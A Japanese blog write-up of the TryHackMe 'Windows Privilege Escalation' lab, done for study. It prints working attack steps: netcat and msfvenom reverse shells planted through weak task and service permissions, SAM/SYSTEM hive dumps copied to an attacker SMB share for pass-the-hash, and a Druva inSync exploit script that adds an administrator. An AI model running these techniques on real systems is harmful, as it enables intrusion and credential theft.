4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Windows Privilege Escalation_WriteUp

Posted at

はじめに

Windowsでの権限昇格を学ぶべく、
TryHackMeのRoom「Windows Privilege Escalation」に挑戦しました。
(CompTIA Pentest+ラーニングパスの一角)

Task 3 Harvesting Passwords from Usual Spots

以下を駆使します。

  • Powershell 履歴
  • 保存された Windows 資格情報
  • IIS のコンフィグ
  • PuTTYのセッション

A password for the julia.jones user has been left on the Powershell history. What is the password?

Powershellの履歴に残っているとのことで、
以下を実行し履歴を参照します。

実行コマンド(コマンドプロンプトの場合)

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

実行コマンド(Powershellの場合)

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

実行結果

ls
whoami
whoami /priv
whoami /group
whoami /groups
cmdkey /?
cmdkey /add:thmdc.local /user:julia.jones /pass:ZuperCkretPa5z
cmdkey /list
cmdkey /delete:thmdc.local
cmdkey /list
runas /?

user:julia.jonesの
passは ZuperCkretPa5z でした。

A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?

IISのweb.configは以下です。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

これをNotepadで参照すると、以下のようにadminのpasswordがありました。

    <connectionStrings>
        <add connectionString="Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password=098n0x35skjD3" name="THM-DB" />
    </connectionStrings>

There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.

残っている認証情報の有無を、以下を実行し確認します。
実行コマンド

cmdkey /list

実行結果

Currently stored credentials:
    Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz

出題の通りユーザmike.katzの認証情報が残っているようです。
このユーザの権限を利用しコマンドプロンプトを実行します。

実行コマンド

runas /savecred /user:mike.katz cmd.exe

実行結果(mike.katzでコマンドプロンプトが実行されている)
image.png

この状態でユーザmike.katzのデスクトップへ移動しフラグを入手します。

C:\Users\mike.katz\Desktop>type flag.txt
THM{WHAT_IS_MY_PASSWORD}

Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?

PuTTYセッションに保存されているpasswordは、以下を実行し
ProxyPasswordの欄で確認できます。

実行コマンド

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

実行結果

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server
    ProxyExcludeList    REG_SZ
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x0
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    thom.smith
    ProxyPassword    REG_SZ    CoolPass2021
    ProxyTelnetCommand    REG_SZ    connect %host %port\n
    ProxyLogToTerm    REG_DWORD    0x1

End of search: 10 match(es) found.

Task 4 Other Quick Wins

スケジュールされているタスクについて、権限を確認のうえ利用します。
(※学習用にタスクが限定されている為、概念だけ把握しておくのがよさそうです)

What is the taskusr1 flag?

以下を実行し(TryHackMeで案内されているコマンド)、利用するスケジュール化されたタスクを確認します。

実行コマンド

schtasks /query /tn vulntask /fo list /v

実行結果

image.png

タスクのファイル(C:\tasks\schtask.bat)の実行権限を以下で確認します。

実行コマンド

icacls C:\tasks\schtask.bat

実行結果

C:\tasks\schtask.bat BUILTIN\Users:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

BUILTIN\Usersグループはタスクのバイナリに対するフルアクセス(F)を持っています。
よって、当該batファイルを変更して任意のペイロードを挿入できます。

以下を実行し、batファイルを、攻撃マシンへ接続を確立するリバースシェルへ変更します。

実行コマンド

echo c:\tools\nc64.exe -e cmd.exe 攻撃マシンのIPアドレス 4444 > C:\tasks\schtask.bat

攻撃マシン側でリバースシェルを受け付けるリスナーを起動します。

実行コマンド(攻撃マシン)

nc -lvp 4444

演習の便宜上、攻撃対象マシンでスケジュールタスクを実行します。
実行コマンド(攻撃対象マシン)

schtasks /run /tn vulntask

攻撃マシンにて、以下のとおり攻撃対象マシンに接続できました。

root@ip-10-201-57-190:~# nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.210.75 50661
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

その後、以下のようにユーザtaskusr1のデスクトップまで移動しフラグを入手します。

C:\Users\taskusr1\Desktop>type flag.txt
type flag.txt
THM{TASK_COMPLETED}

Task 5 Abusing Service Misconfigurations

サービス実行ファイルを活用します。

Get the flag on svcusr1's desktop.

サービス構成を以下で照会します。

実行コマンド

sc qc WindowsScheduler

実行結果

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr1

上記C:\PROGRA~2\SYSTEM~1\WService.exeの権限を以下にて確認します。

実行コマンド

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

実行結果

C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Everyone:にM(変更権)が付与されているので、これを利用します。
(現実性は低いですが…)

攻撃マシンで以下のようにペイロードを作成します。

実行コマンド(攻撃マシン)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻撃マシンのIPアドレス LPORT=4445 -f exe-service -o rev-svc.exe

実行結果

ペイロードを攻撃対象マシンからダウンロードできるよう、攻撃マシンでhttp.serverをホストします。

python3 -m http.server

攻撃対象マシンで上記ペイロードをダウンロードします。
owershellで以下を実行します(wgetはコマンドプロンプトでは使用不可)

攻撃対象マシン(Powershell)

wget http://攻撃マシンのIPアドレス:8000/rev-svc.exe -O rev-svc.exe

実行結果(lsでの確認含む)
image.png

攻撃対象マシンで以下を実行します。

  • WService.exeの退避&リネーム
  • ダウンロードしたペイロードを WService.exeとして配置
  • WService.exeの実行権限としてEveryoneにフルアクセスを付与
C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

攻撃マシンでペイロードのリスナーを起動します。

nc -lvp 4445

攻撃対象マシンでタスクを停止&起動します。

C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

攻撃マシンにて攻撃対象マシンにアクセスできました。

root@ip-10-201-57-190:~# nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.210.75 51282
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

ユーザsvcusr1のDesktopへ移動しフラグを入手します。

C:\Users\svcusr1\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\svcusr1\Desktop

05/03/2022  01:00 PM    <DIR>          .
05/03/2022  01:00 PM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows Guide.website
05/03/2022  01:01 PM                20 flag.txt
               3 File(s)          1,101 bytes
               2 Dir(s)  24,950,829,056 bytes free

C:\Users\svcusr1\Desktop>type flag.txt
type flag.txt
THM{AT_YOUR_SERVICE}

Get the flag on svcusr2's desktop.

以下を実行し、c:\MyProgramsの権限を確認します。

実行コマンド

C:\>icacls c:\MyPrograms

実行結果

c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

ユーザにAD、WDが付与されており、サブディレクトやファイル作成ができるのでこれを利用します。

攻撃マシンでペイロードを作成します。
その後、http.serverを起動します。

実行コマンド(攻撃マシン)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻撃者のIPアドレス LPORT=4446 -f exe-service -o rev-svc2.exe

python3 -m http.server

攻撃対象マシンで上記ペイロードをダウンロードします。

攻撃対象マシン(Powershell)

wget http://攻撃マシンのIPアドレス:8000/rev-svc2.exe -O rev-svc2.exe

攻撃対象マシンで、ダウンロードしたペイロードをDisk.exeとして配置し、
Everyoneにフルアクセスを付与します。

攻撃対象マシン(コマンドプロンプト)

C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.

攻撃対象マシンでタスクを停止&起動します。
攻撃対象マシン(コマンドプロンプト)

C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

攻撃マシン側でリバースシェルを受け付けるリスナーを起動します。

実行コマンド(攻撃マシン)

nc -lvp 4446

攻撃対象マシンへのアクセスに成功したので、移動しフラグを入手します。

C:\Users\svcusr2\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\svcusr2\Desktop

05/04/2022  05:18 AM    <DIR>          .
05/04/2022  05:18 AM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows Guide.website
05/04/2022  05:18 AM                22 flag.txt
               3 File(s)          1,103 bytes
               2 Dir(s)  24,933,994,496 bytes free

C:\Users\svcusr2\Desktop>type flag.txt
type flag.txt
THM{QUOTES_EVERYWHERE}

本件は以下のBINARY_PATH_NAMEである
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
が引用符で囲まれていないことから、
スペースを含む「Disk Sorter Enterprise」によりコマンドが曖昧になり、
SCM(Service Control Manager)が以下のコマンドのうちどれを実行すべきか認識できなくなることを利用しています。

  • C:\MyPrograms\Disk.exe
  • C:\MyPrograms\Disk Sorter.exe
  • C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

SCMはC:\MyPrograms\Disk.exeをまず実行しようとするため、
攻撃者がこれを作成すればSCMにこのC:\MyPrograms\Disk.exeを実行させることができます。

Get the flag on the Administrator's desktop.

サービスのDACL(Discretionary Access Control Lists:任意アクセス制御リスト)を確認する
以下のコマンドを使用し、サービスの権限を確認します。
UsersグループにSERVICE_ALL_ACCESSが付与されていることを確認します。

実行コマンド・結果

accesschk.exe -qlc thmservice

 [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
       SERVICE_ALL_ACCESS

攻撃マシンでペイロードを作成し、http.serverを起動します。

実行コマンド(攻撃マシン)

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻撃マシンのIPアドレス LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ python3 -m http.server

攻撃対象マシンで上記ペイロードをダウンロードします。

攻撃対象マシン(Powershell)

wget http://攻撃マシンのIPアドレス:8000/rev-svc3.exe -O rev-svc3.exe

ペイロードに実行権限を付与します。
また、リバースシェルへのPathを変更します。

攻撃対象マシン(コマンドプロンプト)

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

攻撃対象マシンでタスクを停止・起動します。
攻撃対象マシン(コマンドプロンプト)

sc stop THMService
sc start THMService

攻撃マシンでリスナーを起動します。

 nc -lvp 4447

攻撃マシンで攻撃対象マシンにアクセスできたので、フラグを入手します。

listening on [any] 4447 ...
10.10.25.232: inverse host lookup failed: Unknown host
connect to [10.2.45.222] from (UNKNOWN) [10.10.25.232] 51028
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\Administrator\Desktop

05/04/2022  05:18 AM    <DIR>          .
05/04/2022  05:18 AM    <DIR>          ..
05/03/2022  01:46 PM               977 Disk Sorter Client.lnk
05/04/2022  05:18 AM                24 flag.txt
05/03/2022  11:57 AM             1,387 ProcessHacker.lnk
               3 File(s)          2,388 bytes
               2 Dir(s)  24,928,210,944 bytes free

C:\Users\Administrator\Desktop>type flag.txt
type flag.txt
THM{INSECURE_SVC_CONFIG}

Task 6 Abusing dangerous privileges

以下いずれかによる権限昇格。

  • SeBackup / SeRestore
  • SeTakeOwnership
  • SeImpersonate / SeAssignPrimaryToken

本稿ではSeBackup / SeRestoreを実施します。

Get the flag on the Administrator's desktop.

以下を実行し、権限を確認します。
実行コマンド

whoami /priv 

実行結果
image.png

攻撃対象マシンで以下を実行します。

reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

攻撃マシンで以下を実行し、
impacketのsmbserver.pyを使用して、攻撃マシンのカレントディレクトリにネットワーク共有を作成し、シンプルなSMBサーバーを起動します。

mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

攻撃対象マシンで以下を実行します。

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

攻撃マシンで以下を実行し、パスワードのハッシュを取得します。

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

結果

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b24b8f84a157441fb2b7e03368fda64:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
THMBackup:1008:aad3b435b51404eeaad3b435b51404ee:6c252027fb2022f5051e854e08023537:::
THMTakeOwnership:1009:aad3b435b51404eeaad3b435b51404ee:0af9b65477395b680b822e0b2c45b93b:::

以下を実行し、管理者のハッシュを使用しPass-the-hash攻撃を実施します。

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6b24b8f84a157441fb2b7e03368fda64 Administrator@10.10.9.221

以下のように管理者権限を奪取できたので、フラグを入手します。
実行結果

[*] Requesting shares on 10.10.9.221.....
[*] Found writable share ADMIN$
[*] Uploading file dEEUzIhJ.exe
[*] Opening SVCManager on 10.10.9.221.....
[*] Creating service SpbX on 10.10.9.221.....
[*] Starting service SpbX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\Administrator\Desktop

05/04/2022  12:58 PM    <DIR>          .
05/04/2022  12:58 PM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows Guide.website
05/04/2022  12:59 PM                20 flag.txt
               3 File(s)          1,101 bytes
               2 Dir(s)  25,765,445,632 bytes free

C:\Users\Administrator\Desktop> type flag.txt
THM{SEFLAGPRIVILEGE}

Task 7 Abusing vulnerable software

Get the flag on the Administrator's desktop.

以下を実行し、ソフトウェアの情報を収集します。

wmic product get name,version,vendor

実行結果
image.png

Druvaのエクスプロイトを検索します。
https://packetstorm.news/files/id/160404

上記コードの

$cmd = "net user pwnd /add"

の部分を書き換えた以下をPowershellで実行します。

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

攻撃対象マシンのコマンドプロンプトを管理者で実行⇒上記で作成したユーザpwndとパスワードを指定し、
フラグを入手します。

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\Administrator\Desktop

05/05/2022  07:23 AM    <DIR>          .
05/05/2022  07:23 AM    <DIR>          ..
05/05/2022  07:23 AM                21 flag.txt
05/05/2022  07:20 AM               962 Procmon64.lnk
               2 File(s)            983 bytes
               2 Dir(s)  25,630,359,552 bytes free

C:\Users\Administrator\Desktop>type flag.txt
THM{EZ_DLL_PROXY_4ME}

おわりに

同TryHackMeのLinux Privilege Escalationと並んで
一度では覚えきれない様々な要素があったので、
繰り返し復習したいと思います。

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?